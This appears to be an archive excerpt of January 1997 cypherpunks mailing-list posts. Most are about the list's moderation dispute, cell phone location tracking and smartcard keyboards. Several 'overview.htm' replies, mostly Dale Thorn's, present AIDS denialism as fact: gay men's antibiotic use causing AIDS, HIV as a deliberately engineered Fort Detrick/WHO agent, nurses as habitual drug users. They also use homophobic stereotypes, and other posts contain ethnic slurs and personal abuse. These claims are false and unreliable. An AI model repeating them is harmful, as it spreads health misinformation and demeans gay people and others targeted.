> > Yes Sandy, please enlighten us, what is the criterion you use to
> > moderate the list if not crypto-relevancy. I suspect an element of
> > self preservation and protection of the list fuhrer and diktat maker
> > John Gilmore (who, until the disgraceful incident with Dimitri
> > commanded some respect on this list).
> 
> I used to respect Gilmore until this series of incidents (unsubscribing
> me, turning list moderated).  Now I only have disdain for him.

I agree entirely, Gilmore was a respected man (despite the EFF being 
a corporate whore) who threw any respect and admiration others had 
for him away.
 
> > > I would like to hear your opinions as to whether such policies satisfy
> > > the current readership.
> >
> > I don`t think this is the point, John Gilmore is free to appoint
> > whoever he wants to moderate his list, he is free to censor all
> > messages which criticise him and his censorship, however, subscribers
> > to the list should be told they are being censored on these grounds
> > and not on some facade of "crypto relevancy" or another thin veil
> > drawn weakly over content based censorship to protect a certain class
> > of list members.
> 
> Quite a few people have expressed interest in re-creating an unmoderated
> cypherpunks list at another site if Gilmore decided to stick to his
> "moderation experiment".

I notice and appreciate the quotes around "moderation experiment", 
this is, without doubt, a permenant measure to silence members of the 
list who dare to offer criticism of anyone an element of {x: x a 
friend or co-censor of John Gilmore}

I do not have the resources to run such an unmoderated list but I 
hope someone on this list does and is good enough to start such a 
list, cypherpunks is a shell of what it once was. 

Also, please note this message will be junked onto cypherpunks-flames 
even though it contains no flames or flame bait because it dares to 
criticise the censorship of the list (once again Sandy, I give you an 
opportunity to prove me wrong).




  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 25 Jan 1997 16:49:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cellular location...
In-Reply-To: <199701250957.BAA23610@toad.com>
Message-ID: <Pine.LNX.3.95.970125194709.1571B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 24 Jan 1997 aaron@herringn.com wrote:

> Presented in a "this will help 911" context. Still disconcerting.
> 
> [...]
> Companies working on the technology to track cellular phone calls
> have been given additional incentive with a Federal Communications
> Commission order that all cell phone service companies have location
> programs in place by the year 2001.
> [...]

I wonder how expensive it would be to put a GPS receiver in a cell phone and
have the option to transmit the coordinates on a separate channel.  There
would be little difference between this and forcing cell phone companies to
triangulate every call.  The primary motivation for this is almost certainly
"location escrow" to make it easier for the feds to track drug dealers.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMuqrJizIPc7jvyFpAQEmsAf+KysBgt9xRDg/Wp0yJ+jTBEwueVMZu0vB
z9KtEOQDLCZkd7bzzIeJwjXochpA5fqlXetP/pRyAT058ewE2OEYz3SgK2zwz3s/
LRTFHRAIdj4f/+7PTKx6LvoN4NPvKOssqZ4KpX/YYNm/pHhe7eKCY8uV2AEXnoxz
bfs6FgLDYhEtdBYhQGhSbRUgl0MrdW6crmEredavCkZCuqf6G6YOZ7PB1kGK3ZlH
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oDMP/ubR8cXokEzQgmhRo8eeHCXBJ8tiKOkKzstkTAdSGOONlc9ttQ==
=j7WP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 19:20:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fan mail from Gilmore, Sandfart, and friends
In-Reply-To: <3.0.32.19970124203349.006a229c@pop.netaddress.com>
Message-ID: <BD741D38w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>From iverson@usa.net  Sat Jan 25 12:51:37 1997
>Received: by bwalk.dm.com (1.65/waf)
>	via UUCP; Sat, 25 Jan 97 13:06:18 EST
>	for dlv
>Received: (qmail 17565 invoked by uid 0); 25 Jan 1997 17:47:20 -0000
>Received: from nyc-ny15-18.ix.netcom.com (205.186.166.50) by netaddress.usa.net via mtad (2.0) on Sat Jan 25 10:47:15 1997
>Message-Id: <3.0.32.19970124203349.006a229c@pop.netaddress.com>
>X-Sender: iverson@pop.netaddress.com (Unverified)
>X-Mailer: Windows Eudora Pro Version 3.0 (32)
>Date: Sat, 25 Jan 1997 12:46:01 -0500
>To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
>From: Casey Iverson <iverson@usa.net>
>Subject: Re: No Dimitri??
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>
>At 10:33 PM 1/23/97 EST, you wrote:
>>"William H. Geiger III" <whgiii@amaranth.com> writes:
>>
>>> I have noticed that there has not been any post from Dimitri in a couple of
>>> days.
>>>
>>> I am assuming that this means that the list moderation has now started?
>>
>>Yes - anything I say is junked irrespective of content.
>
>Devoid of content you piece of Russian Shit
>
>You have not completed the NetAddress survey.  Please login to http://netaddress.usa.net/ to start using NetAddress
>

So much shit in NYC...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 25 Jan 1997 18:06:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mis-quote...
Message-ID: <199701260212.UAA16949@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

I want to thank all those who sent me email apologizing for the mis-quote.
Your courtesy is appreciated.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 25 Jan 1997 20:59:34 -0800 (PST)
Subject: RE: US Info Supremacy
Message-ID: <01BC0B03.3CE85DC0@king1-28.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	John Young

Hello, Tim May and our other solons and Solomons.
................................................................


He must be on vacation; he hasn't posted in quite a while.


    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 25 Jan 1997 21:24:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cellular location...
Message-ID: <v02140b0aaf10850c79f1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Fri, 24 Jan 1997 aaron@herringn.com wrote:
>
>> Presented in a "this will help 911" context. Still disconcerting.
>>
>> [...]
>> Companies working on the technology to track cellular phone calls
>> have been given additional incentive with a Federal Communications
>> Commission order that all cell phone service companies have location
>> programs in place by the year 2001.
>> [...]
>

Looks like this might create an opportunity for 'anonymous' cellular rentals.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hello1@usa.net
Date: Sat, 25 Jan 1997 21:35:47 -0800 (PST)
Subject: EMAILONE'S BUSINESS CLASSIFIEDS
Message-ID: <199701260535.VAA09377@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 21:48:19 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260509.XAA01076@manifold.algebra.com>
Message-ID: <32EAEFED.23AA@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > > > > Both homosexual males and IV drug users are well known to take a lot
> > > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > > problems.

> > > Jim and Dale, I agree.
> > > Also shooting one's bloodstream full of fecal matter hardly helps.

> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems.  It
> > suggests to me that the immune system is already seriously debilitated
> > or damaged before AIDS can take hold, rather than the notion that a
> > healthy person can get it from the virii alone.
> > One could argue that in the cases where the cures (antibiotics) add to
> > a person's problems by further corrupting their immune system, that
> > they should simply change their habits.  Since I don't see that as a
> > reasonable possibility, the only thing left is that the public should
> > be made aware of *all* of the relevant facts, even those which are
> > heavily suppressed now for PC reasons.

> Why do they take antibiotics?  Just curious.

I'm not precisely sure, but remember, I'm not saying that your typical
suburban, well-to-do, successful gay male falls into this category.

There are, OTOH, a lot of people in the city who have lifestyles which
are not represented accurately in the prime-time sitcoms, and the ones
who fall into the greatest health-risk category are IV drug users and
gay males (in the city, remember - i.e., Santa Monica boulevard).

Remember too those ads for male sexual lubricants - you cannot use
a condom with those lubricants.  Safe sex, I don't think so.

> Also, I haven't heard that antibiotics were bad for immune system,
> has that been proven?

You're kidding, yes?  Anything besides good food, exercise, sleep etc.
is bad for the immune system.  Antibiotics (usually "dead" germs of
some sort) are horrendous things to inject directly into your system.

In October 1959, after lapsing into a coma from a massive sinus
infection, I was given "a million units of penicillin" in the
children's hospital when first admitted.  I recovered OK after
two weeks, so I'm certainly not opposed to antibiotics for those
who really need them.  OTOH, our U.S. economy today is antibiotic-
and-hormone crazy, injecting cows, pigs, and chickens to name a few
animals, all in the hopes of raising production.  So why is the rate
of cancer going up so high?  It seems nearly everyone I know is
getting this degenerate disease when they get older.  Check out the
videos by Howard Lyman, who used to be a big-time "chemical" farmer.
One quote:  "My soil after a few years was like asbestos".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 25 Jan 1997 22:07:10 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <199701260606.WAA10383@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:44 AM 1/25/97 -0800, Lucky Green wrote:
>At 06:29 PM 1/24/97 -0800, Hugh Daniel wrote:
>>  FYI:
>>>From: jsp@betz.biostr.washington.edu
>[...]
>>>    However, some hardware is required. Because the key is on a
>>>    smartcard, users must have smartcard readers installed on their
>>>    computers, which aren't yet widely available. But Pdr Andler of
>>>    Finnish Hewlett Packard says that later this year, smartcard readers
>>>    will become standard on computers in Scandinavia.
>[...]
>
>Interesting piece of trivia: I recently talked with a fellow from Intel. They are looking to purchase keyboards with smartcard readers built in. They hope to get them at $30/piece from suppliers in Asia. The lot size? 10 million.


I suppose this is good news.  I just hope they implement a system, like 
Chaum's low-knowledge/zero-knowledge systems, which make it difficult or 
impossible for snoops or tampered hardware to leak useful information.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 22:27:57 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Cellular phone triangulation
In-Reply-To: <Pine.LNX.3.95.970125194709.1571B-100000@eclipse.voicenet.com>
Message-ID: <32EAF1A4.405A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> I wonder how expensive it would be to put a GPS receiver in a cell phone and
> have the option to transmit the coordinates on a separate channel.  There
> would be little difference between this and forcing cell phone companies to
> triangulate every call.
>    The primary motivation for this is almost certainly
> "location escrow" to make it easier for the feds to track drug dealers.

  Replace the words 'drug dealers' with the words 'everyone', and I
think
this becomes not only a correct statement, but a very revealing one.
  It doesn't matter whether the subject is crypto, cell phones, or any
communications item or issue, the 'answer' to the proclaimed 'problem',
according to the government, is to increase the government's ability
to monitor every citizen, everywhere, at any time.
  Our prisons are overflowing with drug dealers and drug users who were
put there by quite ordinary means which didn't involve violating or
discarding the rights of the ordinary citizen.  Yet we keep hearing
cries from the government for the desperate need to infringe on the
citizen's right to freedom and privacy, again and again, in order to
jail the guys who were supposed to be jailed by the 'last' infringement
on the average citizen (and the one before that).

  So far, as a result of the plethora of laws passed to enable law
enforcement agencies to 'catch drug dealers', I have seen only a
few minor criminals who are claimed to have been brought to justice
as a result of these laws, while seeing documentation of hundreds
and thousands of ordinary citizens being harassed and having their
human rights violated by these same laws.
  And still, we have people like Mark, who seem relatively intelligent
and informed but who still echo the party-line of Big Brother when
He proclaims that the average citizen must be subjected to new and
better ways to monitor the movements and activities of His citizens
in order to 'protect' them from 'drug dealers'.

  I am certain that the issues (and the debates about them) will be 
the same as today, when the dawn finally comes where we hear the 
announcement about the plans for identity-chip body-implants. I am 
sure that the government will tell us that our privacy and rights
will be protected by the Key Escrow encryption in the identity-chip
which will only be compromised for the purpose of catching 'drug
dealers' and other 'scum'.
  I am sure that the statement above will be pooh-paah'd by many as
an example of reactionary-paranoid thinking, but the same could be
said for all of the rights and privacy-infringing realities that
we currently live under. (Like having to provide samples of bodily
fluids to keep your job as a janitor--in case you've been dipping
into the coke stash of the CEO, who does 'not' have to piss in a
jar.)
  Five years from now, you may well be wearing an identity-anklet
at work (to combat employee-theft, etc.) and still laughing at
my ludicrous example of body-implant identity-chips. ("It's not
like they make us wear them at home, they are just for protecting
us from unfair firing by our employer.")
  Ten years from now, you may be wearing your identity-anklet at
home, and still laughing about the idiot who predicted body-implant
identity-chips. ("It's no trouble wearing it at home, especially
if it helps catch those damn 'drug dealers'. They are the only
ones who leave their house during the curfew hours, anyway.")
  A couple years after that, you will welcome the government
announcement that they have found a solution to the 'problem'
of having to wear the identity-anklet all of the time--the new,
improved, identity-chip solution--the body-implant ID-chip.
  Naturally, you will pooh-paah the naysayers who claim that
the body-implant chip will eventually have the capacity to
read your mind.
  ("The guy saying that is the same idiot who predicted that
we would all be wearing body-implant identity-chips...
  "Well, OK, that's a bad example, but...")

  You can fight the increasing hi-tech machinations of Big 
Brother to control our actions, movements, and our thoughts,
but it will cost an increasing amount of time and effort to
do so.
  Not to mention larger and larger amounts of money.
  But, maybe if you became a 'drug dealer'...

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 22:09:19 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260531.XAA01225@manifold.algebra.com>
Message-ID: <32EAF4C3.56CD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:

> > > My point about the antibiotics is that the male gays take a dis-
> > > proportionate amount of them, which compounds their problems.  It
> > > suggests to me that the immune system is already seriously debilitated
> > > or damaged before AIDS can take hold, rather than the notion that a
> > > healthy person can get it from the virii alone.

> Dale's hypothesis seems at odds with the linkage of aids and blood
> transfusion and transmission through needles.
> Nurses who contract aids through contaminated needles do not,
> normally, have devastated immune systems.

Let's be realistic about how AIDS is acquired.  A small analogy:

In my pockets I carry two wallets, one with $100's and the other with
smaller change, about 50 bills in various small denominations.  Let's
say tomorrow I spend a $10 bill at the bookstore, and the guy behind
the counter says "this is a phony bill".  So where did I get it?
Well, if pocket change were always LIFO (last in, first out), I might
be able to remember, but there's a good chance I wouldn't, since I go
to a lot of places and do a lot of small transactions.

Now I'm only talking 50 or so small bills, acquired and redistributed
over a period of at most a few months.  AIDS, OTOH, is likely to be
a development from years of  1) Contact with germs, chemicals, food
additives, antibiotics other medical treatments, sexual contact, etc.
and 2) Immune-suppressing activities such as lack of sleep and exercise,
anxiety and stress, and so on.

It seems to me that "proof" of someone acquiring AIDS from one stab
with a contaminated needle is a very nebulous thing. As far as nurses
go, the contact I've had with many of them tells me they are also
(on average) drug users extraordinaire.  Again, you'll be able to
find a very clean hospital in a big city with a bunch of nice clean
nurses in it (a lot of sweet old ladies is the image coming to mind),
but this is as unrealistic as Leave It To Beaver and other 1950's
nonsense.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 22:30:45 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260557.XAA01422@manifold.algebra.com>
Message-ID: <32EAF9EC.2E9F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:

> > Remember too those ads for male sexual lubricants - you cannot use
> > a condom with those lubricants.  Safe sex, I don't think so.

> That does not come close to a theory that would explain HIV away.

The virus I believe is best explained by the numerous articles that
were published in the 1970's on "gene splicing", and the fact that we
now have two certified (official) government requests on paper that
call for the development of an agent precisely like HIV, which were
in fact funded.  One was requested in 1979 (I think) by someone
representing the Ft. Detrick folks ($10 million), and the other
request was formally made by the World Health Organization.  Why
would the WHO want to develop a nasty bug like HIV?  Use your
imagination.  Does the virus actually cause the immune collapse?
That's still controversial, from what I hear.  Try to find some of
the material by Jakob Segal, who is heavily suppressed in the USA.

Also check out Jon Rappaport (who also did some excellent on-the-spot
interviews in OKC after the bombing), also Dr. Robert Strecker, whose
brother was murdered trying to investigate the political threads of
the origins of AIDS/HIV.

> > In October 1959, after lapsing into a coma from a massive sinus
> > infection, I was given "a million units of penicillin" in the
> > children's hospital when first admitted.  I recovered OK after
> > two weeks, so I'm certainly not opposed to antibiotics for those
> > who really need them.  OTOH, our U.S. economy today is antibiotic-
> > and-hormone crazy, injecting cows, pigs, and chickens to name a few
> > animals, all in the hopes of raising production.  So why is the rate
> > of cancer going up so high?  It seems nearly everyone I know is
> > getting this degenerate disease when they get older.  Check out the
> > videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> > One quote:  "My soil after a few years was like asbestos".
> 
> As far as I understand, 1) no one really understands why cancer rates
> are up so much and 2) since people live longer, they are more likely do
> have cancer.

True if all other things are equal.  Try subtracting out some of the
cancer factors, and perhaps they'd die of something else.

> What you said is one of the hypotheses. I personally feel that
> environment and bad greasy food are other major contributors. The
> way they cook all these fries, with overheated grease, is very bad.

Try an interesting experiment. Get an ordinary hamburger at McDonald's.
Take the "meat" out of the bun and break it in half, then hold the
broken edge up to your nose.  It helps to have good sense of smell,
but you'll probably get the picture anyway.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: schtief@juno.com
Date: Sat, 25 Jan 1997 19:31:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: BITE ME
Message-ID: <19970125.182024.5167.0.schtief@juno.com>
MIME-Version: 1.0
Content-Type: text/plain




  Bite me everyone. I am the Great Schtief, hear me roar.


  O O
    o
     -

Schtief the Great

http://pages.prodigy.com/VT/hackersguide
18007TOUCH1   ext. 131196
---------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 22:39:47 -0800 (PST)
To: jim bell <cypherpunks@toad.com
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <3.0.32.19970125224046.006d9a10@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 09:50 PM 1/25/97 -0800, jim bell wrote:
>>Interesting piece of trivia: I recently talked with a fellow from Intel. They are looking to purchase keyboards with smartcard readers built in. They hope to get them at $30/piece from suppliers in Asia. The lot size? 10 million.
>
>
>I suppose this is good news.  I just hope they implement a system, like 
>Chaum's low-knowledge/zero-knowledge systems, which make it difficult or 
>impossible for snoops or tampered hardware to leak useful information.

I understand that Intel's main problem at this time seem to be to find a keyboard manufacturer that understands that for the device to be effective, the CPU should not be involved in its operation.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 22:26:16 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701251627.IAA28475@toad.com>
Message-ID: <32EAFDA5.2936@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Toto <toto@sk.sympatico.ca> writes:
> > paul@fatmans.demon.co.uk wrote:

> >   It became rather glaringly obvious after moderation was announced
> > that class structure would be the defining feature of moderation.
> >   Those who felt themselves to be in the 'upper class' made no
> > bones about it.
> 
> That's a very insightful obeservation.

  Obese-rvation? I hope you are not assuming that I am obese, just
because I am responding to a post originating from
'fatmans.demon.co.uk.'
  I would hate to become relegated to the upcoming cypherpunks-fatpeople
list because of assumptions of this nature.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 25 Jan 1997 23:10:42 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Corelation
In-Reply-To: <32EB0402.B87@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970125225546.5214M-100000@crl5.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 25 Jan 1997, Toto wrote:

>   Has anyone actually 'seen' John Gilmore, lately? Since there
> have been a number of postings indicating that the writer
> 'used to respect' Gilmore, I am wondering if perhaps this
> moderation experiment is not actually an attempt by someone
> to discredit him.

Well I saw John last night at the C2Net party, but I guess that's
not much reassurance.  :-)


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 22:27:04 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701251627.IAA28475@toad.com>
Message-ID: <32EB01B6.69D7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

>   Jim Bell is a boor, but he had some very
> interesting ideas that upset the "cypher punk" crowd because he advocates
> dismantling the system they hope to join one day.

  I have enjoyed many of Jim Bell's posts, and occasionally sent him 
a note telling him so. Other posts of his leave me with the desire to
fire off a missive telling him what a low-down, scum-sucking sack of
shit he is.
  One thing I have gleaned from his posts is that he is an adult. As
such, I assume that he is fully capable of living his life according
to his own beliefs and standards, and will not be reduced to running
to his mother, crying, because of the expressions of my relevant or
non-relevant opinions.
  I have seen no posts from him indicating a desire to be 'saved'
from any less-than-applausitory comments on my part, but it seems
that others have taken it upon themselves to 'save' him, regardless.

  I fail to see how any supposedly intelligent members of the 
CypherPunks list can possibly be content to fall for the line,
  "Bend over, baby. I'm only going to moderate you 'a little bit'."

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 25 Jan 1997 21:14:55 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260341.TAA08101@toad.com>
Message-ID: <199701260509.XAA01076@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Dr.Dimitri Vulis KOTM wrote:
> 
> > > > Both homosexual males and IV drug users are well known to take a lot
> > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > problems.
> 
> > Jim and Dale, I agree.
> > Also shooting one's bloodstream full of fecal matter hardly helps.
> 
> My point about the antibiotics is that the male gays take a dis-
> proportionate amount of them, which compounds their problems.  It
> suggests to me that the immune system is already seriously debilitated
> or damaged before AIDS can take hold, rather than the notion that a
> healthy person can get it from the virii alone.
> 
> One could argue that in the cases where the cures (antibiotics) add to
> a person's problems by further corrupting their immune system, that
> they should simply change their habits.  Since I don't see that as a
> reasonable possibility, the only thing left is that the public should
> be made aware of *all* of the relevant facts, even those which are
> heavily suppressed now for PC reasons.

Why do they take antibiotics? Just curious.

Also, I haven't heard that antibiotics were bad for immune system, 
has that been proven?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 22:26:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Corelation
Message-ID: <32EB0402.B87@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


My database seems to indicate a direct co-relation between the 
number of postings criticizing moderation and the number of 
UCE/Spam postings showing up on the list.
  i.e. When there are a number of postings critizizing Sandy's
moderation, then the diversionary UCE/Spam postings increase
dramatically.

  Has anyone actually 'seen' John Gilmore, lately? Since there
have been a number of postings indicating that the writer
'used to respect' Gilmore, I am wondering if perhaps this
moderation experiment is not actually an attempt by someone
to discredit him.
  Perhaps he is being held hostage somewhere, while the more
nefarious elements among us are trying to besmirch his good
name by using it to promote willy-nilly censorship and
class-elitism.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 00:00:14 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Public Key Partners
In-Reply-To: <199701251755.JAA29412@toad.com>
Message-ID: <3.0.1.32.19970125231918.005b6c30@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:50 PM 1/25/97 -0500, DataETRsch@aol.com wrote:
>Do you know of a way I can contact Public Key Partners by e-mail or phone?
>Thanks.

Time travel?

	(PKP dissolved when the partners sued each other.
	There's a Cylink ex-partner, and an RSA ex-partner,
	available at www.*.com )

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 25 Jan 1997 15:29:51 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: Homo/bi/sexuals (no_one@nowhere.org)
In-Reply-To: <199701250956.BAA23557@toad.com>
Message-ID: <199701252329.QAA09472@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199701250956.BAA23557@toad.com>, on 01/24/97 
   at 10:53 PM, no_one@nowhere.org gurgled:

+   And the CDC is the Centers for Disease Control; and it has since
+found many, many prior cases of AIDS. These three minor errors are
+indicative of Attila's reliability of the subject. Of course, no one 
+at CDC or NIH believes any of this crap; it was tired a decade ago.

       A man is known by the company he keeps; floating nyms are the 
    mark of a coward; why not just wear the mark of the beast?        

        ... no_one@nowhere.org's utterance is an average pronouncement 
    by a prototypical megalomaniacal, hedonistic cypherpunk who on days 
    of lesser grandeur, humour, or importance corrects spelling and 
    grammatical errors --unlike the standards you apparently set for 
    yourself? 

        I claim neither a medical degree nor the trade of a medical 
    reporter; the information presented was solely an illustration of 
    an unfortunate circumstance for both the AIDS victim and society as 
    a whole. 

        As to the current relevance of the AIDS victim (who, for that 
    matter, may even have been an urban legend after a few historical 
    rewrites) in today's revisionist politically correct special-
    interest social cauldron as promulgated by the mass hysterimedia 
    (an environment which can, and has, rewritten the words of Thomas 
    Jefferson to accommodate the current social agenda), the point is 
    not only lost; it is mute, along with the truth --both your 
    perceived truth and the historical truth.

        --attila

  ==
  "you probably will not be last,
    you may not be next,
      but you are certainly too late to have been first.  
            --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMuqW2704kQrCC2kFAQE9MAQAluz6aLri1igCl8a/hE5clOQIyL3TjTG8
tzHHzEEQ4AzU4qtA2UiCSX1Y3eWAd4X/yL09C9HYrCzw9nRZHb0nBObw4+FGtU5L
+vGuWOOAnhh4xJsiDOqYMNIGKftteFWpT1CG9M4C+n/DfNiHzfQV/HlX/Az8j4iP
ovE04U/DpKI=
=IAdt
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 25 Jan 1997 21:35:26 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260509.XAA01076@manifold.algebra.com>
Message-ID: <199701260531.XAA01225@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Igor Chudov @ home wrote:
> 
> Dale Thorn wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > 
> > > > > Both homosexual males and IV drug users are well known to take a lot
> > > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > > problems.
> > 
> > > Jim and Dale, I agree.
> > > Also shooting one's bloodstream full of fecal matter hardly helps.
> > 
> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems.  It
> > suggests to me that the immune system is already seriously debilitated
> > or damaged before AIDS can take hold, rather than the notion that a
> > healthy person can get it from the virii alone.

Dale's hypothesis seems at odds with the linkage of aids and blood 
transfusion and transmission through needles.

Nurses who contract aids through contaminated needles do not,
normally, have devastated immune systems.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 25 Jan 1997 16:17:48 -0800 (PST)
To: aga <cypherpunks@toad.com>
Subject: who the "fuck" am I?
